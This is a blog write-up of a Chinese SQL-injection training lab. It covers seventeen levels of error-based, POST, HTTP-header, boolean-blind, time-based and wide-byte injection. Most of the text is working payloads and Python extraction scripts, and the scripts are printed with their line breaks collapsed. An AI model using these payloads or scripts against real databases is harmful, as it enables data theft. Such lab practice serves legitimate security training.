掌控安全学院SOL注入靶场
创始人
2024-01-31 01:58:37
0

掌控安全学院SOL注入靶场

  • 靶场地址
  • Pass-01 显错注入
  • Pass-02
  • Pass-03
  • Pass-04
  • Pass-05 POST注入
  • Pass-06
  • Pass-07 Head注入
  • Pass-08
  • Pass-09
  • Pass-10 布尔盲注
  • Pass-11
  • Pass-12
  • Pass-13 延时注入
  • Pass-14
  • Pass-15 宽字节注入
  • Pass-16
  • Pass-17
  • 总结

靶场地址

http://inject2.lab.aqlab.cn

Pass-01 显错注入

判断注入类型发现是数字型注入

1 or 1=1 #
1' or '1'='1 #
1" or "1"="1 #

利用order by得到数据库有三列
?id=0 union select 1,2,3#得到回显位23
在这里插入图片描述

查库名
可以通过information_schema库或者直接select database()

?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select database())#

在这里插入图片描述查表名

?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),3#

在这里插入图片描述

查列名

?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),(select group_concat(column_name) from information_schema.columns where table_name='error_flag')#

在这里插入图片描述可以看到有flag列,直接输出

?id=0 union select 1,(select group_concat(flag) from error.error_flag),3#

在这里插入图片描述

Pass-02

测试得题目为单引号字符型注入
这里#注释会报错,转用--+

?id=0' union select 1,2,3 --+

在这里插入图片描述

爆库

?id=0' union select 1,(select database()),3--+

在这里插入图片描述
后面和Pass-01一样
直接得到flag

?id=0' union select 1,(select group_concat(flag) from error.error_flag),3--+

在这里插入图片描述

Pass-03

查看语句得知需要')闭合前面的('

?id=0') union select 1,2,3--+

在这里插入图片描述
剩下同理,没有过滤

Pass-04

双引号即可

?id=0") union select 1,2,3--+

在这里插入图片描述

Pass-05 POST注入

GET换POST

username=1' union select 1,2,3#&password=1&submi=%E7%99%BB%E5%BD%95

在这里插入图片描述套用payload即可

username=1' union select 1,(select group_concat(flag) from error.error_flag),3#&password=1&submi=%E7%99%BB%E5%BD%95

在这里插入图片描述

Pass-06

同Pass-04

username=0") union select 1,2,3#&password=1&submi=%E7%99%BB%E5%BD%95

在这里插入图片描述

Pass-07 Head注入

提示Head注入,照常先测试一下payload
在这里插入图片描述
好!弱口令(好像串台了)
在这里插入图片描述

既然提示了就先简单测一下hackbar能改的head信息
改UA头的时候发现报错了
在这里插入图片描述保持账号密码不变,只更改UA头1' or updatexml(1,concat('?',database()),1),1) #
成功将库名爆出
在这里插入图片描述将database()换成查询语句爆库名
' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='head_error'),'~'),1),1) #
在这里插入图片描述
列名
' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='flag_head'),'~'),1),1) #
在这里插入图片描述
得到flag
' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #
在这里插入图片描述

Pass-08

账号密码还是admin/123456
测试发现是Refer头注入,过程和Pass-07一样
' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #
在这里插入图片描述

Pass-09

这个Hackbar测不出来了,上Bp!
测了一圈没反应,加上最熟悉的XFF头,flag就出来了
注入过程还是参考Pass-07
X-Forwarded-For:' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #

在这里插入图片描述

Pass-10 布尔盲注

没啥过滤的盲注
直接手搓脚本
二分法+异或(不异或也没啥问题)

import requests
url = "http://inject2.lab.aqlab.cn/Pass-10/index.php?id="
flag=''
for i in range(1,100):low = 32high = 126mid = (low+high)//2while(low{})".format(i,mid)	#爆库名#payload = url+"0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})".format(i,mid)	#爆表名#payload = url+"0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{})".format(i,mid)	#爆列名payload = url+"0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{})".format(i,mid)	#爆flagres = requests.get(payload)if 'No results found' not in res.text:low = mid + 1else:high = midmid = (low+high)//2if (mid==32|mid==126):breakflag +=chr(mid)print(flag)
print(flag)

库名
在这里插入图片描述
表名
在这里插入图片描述
列名
在这里插入图片描述
获得数据
在这里插入图片描述
在这里插入图片描述
好像有点小禁爬,拼起来就是最终flag了

哈哈,flag跑完了,ip好像被封了(

Pass-11

多一个双引号,小问题

import requests
url = "http://inject2.lab.aqlab.cn/Pass-11/index.php?id=1\" and 1="
flag=''
for i in range(1,100):low = 32high = 126mid = (low+high)//2while(low{})--+".format(i,mid)#payload = url+"0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})--+".format(i,mid)   #爆表名#payload = url+"0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{})--+".format(i,mid) #爆列名payload = url+"0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{})--+".format(i,mid)res = requests.get(payload)#print(payload)if 'No results found' not in res.text:low = mid + 1else:high = midmid = (low+high)//2if (mid==32|mid==126):breakflag +=chr(mid)print(flag)
print(flag)

点到为止
在这里插入图片描述

Pass-12

万能密码登录成功,可以作为盲注的判断依据
在这里插入图片描述
稍微调试一下语句,再把请求方式改为POST

import requests
url = "http://inject2.lab.aqlab.cn/Pass-12/index.php"
flag=''
data={'username':'1','password':'1','submit':'%E7%99%BB%E5%BD%95'}
for i in range(1,100):low = 32high = 126mid = (low+high)//2while(low{})#".format(i,mid)#payload="1\' or 1=0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})#".format(i,mid)   #爆表名#payload="1\' or 1=0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{})#".format(i,mid) #爆列名payload="1\' or 1=0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{})#".format(i,mid)data['username']=payloadres = requests.post(url,data=data)#print(data)if '账号密码错误' not in res.text:low = mid + 1else:high = midmid = (low+high)//2if (mid==32|mid==126):breakflag +=chr(mid)print(flag)
print(flag)

还是同一个库,润!
在这里插入图片描述

Pass-13 延时注入

延时注入,先测试注入点
?id=1" and sleep(5)--+
在这里插入图片描述小爆一下库
?id=1" and if((ascii(substr((database()),1,1))>0),sleep(3),sleep(0))--+
在这里插入图片描述然后拿出上面的盲注脚本
在这里插入图片描述
在这里插入图片描述
和布尔盲注一个库
在这里插入图片描述
放个脚本

import requests
url = "http://inject2.lab.aqlab.cn/Pass-13/index.php?id=1\" and "
flag=''
for i in range(1,100):low = 32high = 126mid = (low+high)//2while(low{}),sleep(1),sleep(0))--+".format(i,mid)	#爆库名#payload = url+"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆表名#payload = url+"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆列名payload = url+"if((ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),{},1))>{}),sleep(1),sleep(0))--+".format(i,mid)	#爆flag#print(payload)res = requests.get(payload).elapsed.total_seconds()if res>1:low = mid + 1else:high = midmid = (low+high)//2if (mid==32|mid==126):breakflag +=chr(mid)print(flag)
print(flag)

Pass-14

同上
更改url即可

url = "http://inject2.lab.aqlab.cn/Pass-14/index.php?id=1') and "

Pass-15 宽字节注入

宽字节注入,来个经典%df
?id=1%df' or 1=1--+
在这里插入图片描述

看看库?id=1%df' union select 1,database(),3--+
在这里插入图片描述

表名
?id=1%df' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
在这里插入图片描述因为单引号被转义了,所以查表的时候库名不能用'china_flag',可以用十六进制代替
?id=1%df' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name=0x6368696e615f666c6167)--+
在这里插入图片描述获取数据
?id=1%df' union select 1,database(),(select group_concat(C_Flag) from widechar.china_flag)--+
在这里插入图片描述

Pass-16

id=(“1”)得到闭合方式为%df")
?id=1%df") union select 1,database(),(select group_concat(C_Flag) from widechar.china_flag)--+
在这里插入图片描述

Pass-17

POST型宽字节注入
hackbar发包已经满足不了%df了,发送后会变成ß
需要通过奇数个汉字学')或者Burpsuite直接发包%df')
在这里插入图片描述

bp虽然乱码但是颜色对了)
在这里插入图片描述

python测试的%df')无效,就用汉字测了

import requests
url = "http://inject2.lab.aqlab.cn/Pass-17/index.php"
flag=''
data={'username':'admin%df\'\) or 1=1#','password':'1','submit':'%E7%99%BB%E5%BD%95'}
for i in range(1,100):low = 32high = 126mid = (low+high)//2while(low{})#".format(i,mid)#payload="学\') or 1=0^(ascii(substr((select database()),{},1))>{})#".format(i,mid)#payload="学\') or 1=0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})#".format(i,mid)   #爆表名#payload="学\') or 1=0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='china_flag' ),{},1))>{})#".format(i,mid) #爆列名payload="学\') or 1=0^(ascii(substr((select group_concat(C_Flag) from widechar.china_flag),{},1))>{})#".format(i,mid)data['username']=payloadres = requests.post(url,data=data)#print(data)#print(res.text)if '账号密码错误' not in res.text:low = mid + 1else:high = midmid = (low+high)//2if (mid==32|mid==126):breakflag +=chr(mid)print(flag)
print(flag)

在这里插入图片描述

总结

完结撒花哩
总体没啥难度,也没有啥过滤,拿来复健感觉还不错,最后一个宽字节注入又花了点时间研究了一下
好!
就这样

相关内容

热门资讯

视频丨外交部:中国开放的大门会...   12月23日,外交部发言人林剑主持例行记者会。有记者问,日前海南自贸港正式启动全岛封关。国际评论...
视频丨“粤车南下”驶入香港市区...   今天(12月23日),“粤车南下”驶入香港市区政策正式实施,符合条件的广东私家车可直接驶入香港市...
凡人微光|冰雪季守护者   策划:卓越  统筹:卜寄傲、王楚天  制作:刘子畅  出品:新华社新媒体中心、快手
包银高铁开通啦!几组数据带你了...   12月23日  随着D4667次动车组列车从内蒙古自治区包头市包头站驶出  标志着包银高铁包头至...
公务员遴选第一名落榜?官方回应   据长安街知事,近日,有媒体报道称,重庆33岁男子齐某(化名)参加公务员遴选,笔试和综合成绩均为第...
司法部负责人就《行政执法监督条...   日前,《行政执法监督条例》(以下简称《条例》)正式颁布,旨在加强和规范行政执法监督工作,促进严格...
为什么健康问题,会成为家庭现金... 三十五岁的程序员,在互联网公司任职,每月税后收入三万,是家里唯一的经济支柱。妻子在家照顾年幼的孩子,...
记者手记|美国圣诞季遭遇“价签...   12月22日,人们行走在美国纽约曼哈顿中城布莱恩特公园的节日季露天市场。新华社记者 刘亚南 摄 ...
​小微企业残保金减免的申请条件 小微企业残保金减免的申请条件残保金就是残疾人就业保障金,是未按照规定安排残疾人就业的机关、团体、企业...